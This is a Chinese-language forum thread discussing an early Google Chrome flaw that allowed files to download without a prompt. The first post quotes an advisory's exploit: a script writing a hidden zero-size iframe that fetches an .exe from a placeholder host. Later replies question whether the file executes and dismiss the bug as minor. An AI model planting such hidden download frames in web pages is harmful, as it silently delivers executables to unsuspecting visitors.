【討論】Google Chrome's bug

[夜貓居民 10]

Google Chrome Browser Automatic File Download

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt.

Exploit:

<script>

document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

</script>

[jason9075 10]

所以新的東西

還是等久一點 bug幾乎被修正後再用

個人用opera

建議你補個原文出處比較好

[夜貓居民 10]

補原文出處...我看台灣不知道又會多出幾位駭客...哈哈哈

我個人用FIREFOX

鑽研資安好一陣子了...

[PichuChen 10]

剛剛稍微GOOGLE一下

看到這個資料

http://www.cisrt.org/blog/read.php?434

然後...

我其實有點疑問..

這樣做的話..檔案會自動執行嗎？

[~小宏~ 10]

剛剛稍微GOOGLE一下

看到這個資料

http://www.cisrt.org/blog/read.php?434

然後...

我其實有點疑問..

這樣做的話..檔案會自動執行嗎？

不會自動執行

它只是預先設定下載位置

把你所想要下載的檔案，放到那個位置而已

並不會執行!!!

這算哪門子的漏洞= =||

firefox不是也可以這樣做嗎???